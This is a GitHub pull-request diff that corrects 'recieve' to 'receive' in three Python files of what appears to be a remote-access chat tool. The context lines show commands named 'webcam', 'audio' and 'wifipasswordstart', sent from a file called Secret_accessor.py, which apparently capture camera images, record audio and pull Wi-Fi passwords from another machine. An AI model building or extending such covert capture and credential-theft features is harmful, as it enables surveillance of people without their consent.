Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 3 additions & 3 deletions src/Client_Server.py
Original file line number Diff line number Diff line change
Expand Up @@ -33,11 +33,11 @@ def fun1():
message = soc.recv(1024)
message = message.decode()
if(message=='sendfile'):
pyautogui.alert( 'YOUR Friend WANTS TO SEND A FILE PRESS OK TO RECIEVE', "ALERT")
with open('recievedfile.zip', 'wb+') as output:
pyautogui.alert( 'YOUR Friend WANTS TO SEND A FILE PRESS OK TO RECEIVE', "ALERT")
with open('receivedfile.zip', 'wb+') as output:
rec = soc.recv(9000000)
output.write(rec)
pyautogui.alert( "FILE RECIEVED",'ALERT')
pyautogui.alert( "FILE RECEIVED",'ALERT')
continue
try:
chat='Client > '+message+'\n'
Expand Down
4 changes: 2 additions & 2 deletions src/Secret_accessor.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ def popup2(a):
exit()
soc.send(bytes(message,'UTF-8'))
if (message == 'webcam'):
message = input("press s to recieve the image(press after 6 seconds for best quality): ")
message = input("press s to receive the image(press after 6 seconds for best quality): ")
soc.send(bytes(message,'UTF-8'))
if (message == 'audio'):
message = input("ENTER NUMBER OF SECONDS: ")
Expand All @@ -29,7 +29,7 @@ def popup2(a):
with open('file.zip', 'wb+') as output:
rec = soc.recv(9000000)
output.write(rec)
popup2("FILE RECIEVED")
popup2("FILE RECEIVED")
soc.close()


6 changes: 3 additions & 3 deletions src/Setup_Server.py
Original file line number Diff line number Diff line change
Expand Up @@ -52,11 +52,11 @@ def fun1():
message = message.decode()
message=str(message)
if(message=='sendfile'):
pyautogui.alert('YOUR BUDDY WANTS TO SEND A FILE PRESS OK TO RECIEVE', "ALERT")
with open('recievedfile.zip', 'wb+') as output:
pyautogui.alert('YOUR BUDDY WANTS TO SEND A FILE PRESS OK TO RECEIVE', "ALERT")
with open('receivedfile.zip', 'wb+') as output:
rec = connection.recv(9000000)
output.write(rec)
pyautogui.alert('FILE RECIEVED','ALERT')
pyautogui.alert('FILE RECEIVED','ALERT')
continue
meslist=message.split()
if(message=='wifipasswordstart'+'\n'):
Expand Down